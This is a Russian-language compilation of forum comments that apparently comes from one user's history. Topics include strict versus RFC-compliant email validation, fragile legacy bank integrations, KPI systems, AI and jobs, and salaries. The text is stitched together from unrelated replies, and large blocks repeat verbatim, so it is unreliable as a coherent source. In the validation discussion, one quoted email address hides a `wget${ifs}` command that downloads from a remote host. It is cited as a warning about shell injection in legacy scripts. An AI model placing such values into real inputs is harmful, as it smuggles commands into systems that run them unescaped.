«В 2035-м тот самый выпускник, если вообще кто‑то ещё будет ходить в университет, вполне может отправиться в миссию по исследованию Солнечной системы — на космическом корабле, с совершенно новой, захватывающей, высокооплачиваемой и безумно интересной работой.
Вот эти миссии уже давно монополизированы роботами.
как себя почувствует шестьдесятдвухлетний,
Шестидесятидвухлетний досидит оставшиеся пять лет, за которые обещают захват мест AI, и выйдет на пенсию в 67 по законам США, где рабочие места перестанут быть для него такой острой проблемой. Свежий же выпускник американского вуза рискует обнаружить себя с долгом за обучение, который нечем выплачивать без работы.
Они могут вообще распечатывать ваш xml и прогонять через OCR
Вы не поверите, но такое тоже есть. У нас один из партнёров не всегда консистентные данные между XML и PDF-кой договора присылает, так что мы парсим PDF для валидации, и ничего, не жужжим. Причём эта контора активами на триллионы долларов управляет и не работать с ними нереально — когда ОП пишет про прошаренных чуваков, отказывающихся от услуг, когда видят валидацию не по RFC, сразу ясно, что в серьёзном бизнесе не работал.
Ну так-то отвалиться может что угодно.
Может, так что не надо обострять ситуацию, собирая эджкейсы.
Я расскажу страшную историю: у нас недавно отвалилась интеграция с одним из партнеров. Они интегрируются по стандартизированному SOAP, принимая не менее стандартизированный MISMO-документ, для которого есть DTD, по которому можно собрать десериализацию с нулём ручного кода. Казалось бы, что может пойти не так?
Выяснилось, что у партнёра не реализован SOAP на самом деле — они принимают сырое тело SOAP-запроса и парсят через поиск подстрок, не используя даже стандартный XML-парсер. Предсказуемо, оно развалилось, когда мы им новое поле, включённое в стандарт, стали отправлять.
Именно из-за таких историй надо бить линейкой по пальцам за попытки разрешить пользователям использовать полный стадарт RFC на почты, телефоны по E.164 с поддержкой допномеров, юникод в полях, которые для него не предусмотрены и подобного — даже самая современная система опирается на огромный карточный домик существующего легаси из говна и палок, который разваливается, если попытаться затолкать в него хоть что-то нестандартное.
Как раз потому, что соответствие RFC — это не желаемый эффект и предпочтительные правила валидации жёстче из-за сторонних ограничений. root@localhost — валидный имейл по RFC, но пропускать его вы не хотите почти никогда.
одно для логина другое - для отправки писем Проблема решена.
Рано. У вас теперь два поля для PII masking в логах, анонимизации для стейджа, интеграций с партнёрами. Это набор источников для интереснейших багов.
Больше того, у вас часто в системе много мест, куда можно засунуть почту — вам придётся поддерживать это везде, чтобы избежать конфузов вида: "у организации не была привязана почта, так что произошёл фоллбек на отправку письма пользователю-руководителю, но он отвалился, потому его личный адрес не прошел валидацию".
шарящих ребят кривая валидация - это как красная тряпка
Опять же, какое пресечение этих ребят с красными тряпками и decision makers?
Винить RFC в том, что твой древний баш-скрипт можно взломать
Проблема в том, что он как раз не мой — это обычно какая-то вендорская система, к которой есть доступ по API. В глубинах систем может быть IBM'овский мейнфрейм с семибитной кодировкой, который подавится юникодным имейлом, если его не канонизировать; На другом интеграции конце может быть asp.net framework приложение, которое режет запросы, когда видит в нем что-то похожее на csrf. Я пишу код для большого американского банка и там такие приколы на каждом шагу.
Вокруг множество хрупких систем, и пускать к себе на вход только чистые данные — валидная стратегия, если вы не хотите потом ругаться с полусотней вендоров, которые не принимают ваши запросы, потому что их реализация кривая. Lowest common denominator никогда не подводит.
Любые данные от юзера надо экранировать перед использованием. Всегда.
Давайте учиться читать:
когда адрес покинет ваше RFC-compliant приложение и в глубинах легаси окажется в неэкранированном виде в баш-скрипте.
С вашей стороны всё может быть прекрасно, но ломается оно в чужом коде. Удачи править приложение, написанное на смеси C, древнего диалекта лиспа и, почему-то, D(у нас такое реально есть. Вендор-аутсорсер просто конченный), которое дергает другие команды, но не справляется с экранированием.
Внедрите нормализацию. Перед проверкой уникальности и сохранением в БД приводите email к каноническому виду. Это решит проблему с дублированием аккаунтов.
Так вы определитесь, как пользователь: вы хотите, чтобы у вас аккаунт был привязан к основному email или к алиасу? Если к алиасу, то система должна оригинальный email хранить, чтобы на него письма слать, как минимум, так что о нормализации речи быть не может. Если в канонической форме, то и плюсы всякие можно блокировать спокойно — в канонической форме из быть не может.
Представим, что ваш сервис разрешил регистрацию на user+test1@gmail.com. Что произойдет, если тот же пользователь попытается зарегистрироваться на user+test2@gmail.com
Ну, то есть, мы сначала разрешили регистрацию с email в неканонический форме, придумав себе проблему на ровном месте, а потом героически её решаем?
это ваша упущенная прибыль или потерянный лид
Сколько реальных пользователей пользуются этим функционалом и уйдут без него? Сколько денег приносят эти пользователи?
Про калечный регекс можно вообще много рассуждать. Как-то читал статью по валидацию почт от Райана Кастелуччи, у которого есть доступный(я написал ему туда письмо и получил ответ) email
`wget${ifs}r.vc/ghe`@ryanc.org
Он соответствует RFC, но пропускать такие адреса — это хитрый способ выстрелить себе в ногу в моменте, когда адрес покинет ваше RFC-compliant приложение и в глубинах легаси окажется в неэкранированном виде в баш-скрипте.
Ещё и контролы глючные. У меня половина оценок свойственно/не свойственно проставилась в случайные значения во время скролла, а поменять результаты нельзя.
Маловероятно в спортзале встретить человека, имеющего вашу профессию и могущего таким образом помочь в трудоустройстве
Куда ни плюнь -- везде программисты. Я как-то на improv comedy пришёл, так там на знакомстве группы: "Я Саша, и я программист; я Маша, и я программист", и так -- первые шесть человек подряд.
Теперь для каждого gui, собирающего командную строку для нижележащего инструмента, чтобы использовать одну из его функций, будет новость, состоящая из перевода README?
Мои доходы стремительно росли, пока не достигли уровня в 400-450k
Позиция/локация? В России есть локальные бигтехи, у которых зарплаты в полтора-два раза выше для лидов. Дальше, из реалистичных вариантов, уже релокейт.
Если мы говорим про KPI, то какой KPI на внедрение / эксплуатацию этой системы?
У меня есть лёгкое подозрение, что значение, пересчитанное в конкретные единицы валюты, у неё отрицательное за счёт вливания ресурсов в разработку, реальную производительность людей она не повышает и только тешит эго микроменеджера, продавившего внедрение. Причина достаточно проста: любая нетривиальная работа
опирается на внешние параметры, не зависящие от сотрудника(меняющиеся бизнес-требования у задач для разработчиков, экономическая ситуация у продажников, физические аварии у опсов, etc)
имеет неограниченный потенциал для срезания углов для выкручивания конкретных метрик(например, саппорт может выкидывать сложные тикеты, чтобы сохранить SLA)
имеет возможности для накручивания метрик(например, разработчик может себе создавать / требовать по десять задач на каждый чих, вроде исправления сломавшегося дэшборда в графане)
Как результат, нормальные конторы проводят ревью раз в год / полугодие / квартал и могут кикнуть людей, отлынивающих от работы, что в большинстве случаев происходит на испытательном сроке, где нет юридического барьера, а не собирают бесконечное синтетических метрик, отражающих погоду на Марсе.
Вот эти миссии уже давно монополизированы роботами.
Шестидесятидвухлетний досидит оставшиеся пять лет, за которые обещают захват мест AI, и выйдет на пенсию в 67 по законам США, где рабочие места перестанут быть для него такой острой проблемой. Свежий же выпускник американского вуза рискует обнаружить себя с долгом за обучение, который нечем выплачивать без работы.
Для решения этой проблемы надо смотреть в сторону смены провайдера не VPN, но госуслуг.
Вы не поверите, но такое тоже есть. У нас один из партнёров не всегда консистентные данные между XML и PDF-кой договора присылает, так что мы парсим PDF для валидации, и ничего, не жужжим. Причём эта контора активами на триллионы долларов управляет и не работать с ними нереально — когда ОП пишет про прошаренных чуваков, отказывающихся от услуг, когда видят валидацию не по RFC, сразу ясно, что в серьёзном бизнесе не работал.
Может, так что не надо обострять ситуацию, собирая эджкейсы.
Партнеры хотят сырой имейл, а не ID / хэш.
Я расскажу страшную историю: у нас недавно отвалилась интеграция с одним из партнеров. Они интегрируются по стандартизированному SOAP, принимая не менее стандартизированный MISMO-документ, для которого есть DTD, по которому можно собрать десериализацию с нулём ручного кода. Казалось бы, что может пойти не так?
Выяснилось, что у партнёра не реализован SOAP на самом деле — они принимают сырое тело SOAP-запроса и парсят через поиск подстрок, не используя даже стандартный XML-парсер. Предсказуемо, оно развалилось, когда мы им новое поле, включённое в стандарт, стали отправлять.
Именно из-за таких историй надо бить линейкой по пальцам за попытки разрешить пользователям использовать полный стадарт RFC на почты, телефоны по E.164 с поддержкой допномеров, юникод в полях, которые для него не предусмотрены и подобного — даже самая современная система опирается на огромный карточный домик существующего легаси из говна и палок, который разваливается, если попытаться затолкать в него хоть что-то нестандартное.
Как раз потому, что соответствие RFC — это не желаемый эффект и предпочтительные правила валидации жёстче из-за сторонних ограничений.
root@localhost— валидный имейл по RFC, но пропускать его вы не хотите почти никогда.Рано. У вас теперь два поля для PII masking в логах, анонимизации для стейджа, интеграций с партнёрами. Это набор источников для интереснейших багов.
Больше того, у вас часто в системе много мест, куда можно засунуть почту — вам придётся поддерживать это везде, чтобы избежать конфузов вида: "у организации не была привязана почта, так что произошёл фоллбек на отправку письма пользователю-руководителю, но он отвалился, потому его личный адрес не прошел валидацию".
Опять же, какое пресечение этих ребят с красными тряпками и decision makers?
Проблема в том, что он как раз не мой — это обычно какая-то вендорская система, к которой есть доступ по API. В глубинах систем может быть IBM'овский мейнфрейм с семибитной кодировкой, который подавится юникодным имейлом, если его не канонизировать; На другом интеграции конце может быть asp.net framework приложение, которое режет запросы, когда видит в нем что-то похожее на csrf. Я пишу код для большого американского банка и там такие приколы на каждом шагу.
Вокруг множество хрупких систем, и пускать к себе на вход только чистые данные — валидная стратегия, если вы не хотите потом ругаться с полусотней вендоров, которые не принимают ваши запросы, потому что их реализация кривая. Lowest common denominator никогда не подводит.
Давайте учиться читать:
С вашей стороны всё может быть прекрасно, но ломается оно в чужом коде. Удачи править приложение, написанное на смеси C, древнего диалекта лиспа и, почему-то, D(у нас такое реально есть. Вендор-аутсорсер просто конченный), которое дергает другие команды, но не справляется с экранированием.
Так вы определитесь, как пользователь: вы хотите, чтобы у вас аккаунт был привязан к основному email или к алиасу? Если к алиасу, то система должна оригинальный email хранить, чтобы на него письма слать, как минимум, так что о нормализации речи быть не может. Если в канонической форме, то и плюсы всякие можно блокировать спокойно — в канонической форме из быть не может.
Ну, то есть, мы сначала разрешили регистрацию с email в неканонический форме, придумав себе проблему на ровном месте, а потом героически её решаем?
Сколько реальных пользователей пользуются этим функционалом и уйдут без него? Сколько денег приносят эти пользователи?
Про калечный регекс можно вообще много рассуждать. Как-то читал статью по валидацию почт от Райана Кастелуччи, у которого есть доступный(я написал ему туда письмо и получил ответ) email
Он соответствует RFC, но пропускать такие адреса — это хитрый способ выстрелить себе в ногу в моменте, когда адрес покинет ваше RFC-compliant приложение и в глубинах легаси окажется в неэкранированном виде в баш-скрипте.
Ещё и контролы глючные. У меня половина оценок свойственно/не свойственно проставилась в случайные значения во время скролла, а поменять результаты нельзя.
На окладе 300-500 очень часто задачи — чистить Авгиевы конюшни, про которые писать-то стыдно.
Сам разгребаю сорокалетнее легаси, написанное реднеками-шизофрениками, за верх этой вилки.
Запрещено, но местами и дальше шли.
Когда я там работал, в моём проекте были вообще только хранимые процедуры на каждый селект.
Куда ни плюнь -- везде программисты. Я как-то на improv comedy пришёл, так там на знакомстве группы: "Я Саша, и я программист; я Маша, и я программист", и так -- первые шесть человек подряд.
Теперь для каждого gui, собирающего командную строку для нижележащего инструмента, чтобы использовать одну из его функций, будет новость, состоящая из перевода README?
https://lleo.me/arhive/humor/maslo.shtml
Позиция/локация? В России есть локальные бигтехи, у которых зарплаты в полтора-два раза выше для лидов. Дальше, из реалистичных вариантов, уже релокейт.
Да, но это не увеличивает доходы среднего бизнеса, чтобы столько платить.
Даже в ЕС таких зарплат нет. Гросс -- пожалуйста, а на руки +- то же, что и в РФ, выходит, если не брать FAANG'и.
Если мы говорим про KPI, то какой KPI на внедрение / эксплуатацию этой системы?
У меня есть лёгкое подозрение, что значение, пересчитанное в конкретные единицы валюты, у неё отрицательное за счёт вливания ресурсов в разработку, реальную производительность людей она не повышает и только тешит эго микроменеджера, продавившего внедрение. Причина достаточно проста: любая нетривиальная работа
опирается на внешние параметры, не зависящие от сотрудника(меняющиеся бизнес-требования у задач для разработчиков, экономическая ситуация у продажников, физические аварии у опсов, etc)
имеет неограниченный потенциал для срезания углов для выкручивания конкретных метрик(например, саппорт может выкидывать сложные тикеты, чтобы сохранить SLA)
имеет возможности для накручивания метрик(например, разработчик может себе создавать / требовать по десять задач на каждый чих, вроде исправления сломавшегося дэшборда в графане)
Как результат, нормальные конторы проводят ревью раз в год / полугодие / квартал и могут кикнуть людей, отлынивающих от работы, что в большинстве случаев происходит на испытательном сроке, где нет юридического барьера, а не собирают бесконечное синтетических метрик, отражающих погоду на Марсе.
Сорс? Это один банкомат на 20 человек, включая младенцев и жителей стран третьего мира, что выглядит подозрительно.
Гугл мне подсказывает, что их примерно в 150 раз меньше, но, вероятно, он галлюцинирует.
tl;dr: регулярки в сишном движке быстрее любого кода, написанного на интерпретируемом недоязыке.
Скорее всего, даже не биткарта, а какой-нибудь трюк с avx512, чтобы сканировать 64 байта за такт. SIMDJSON это для парсинга JSON использует.
Действительно господский способ — это не за такси платить, а снять номер в отеле в соседнем здании от офиса, чтобы далеко не ходить.
Везде так.
Во вполне западном Accenture, зелёный выпускник — это senior analyst.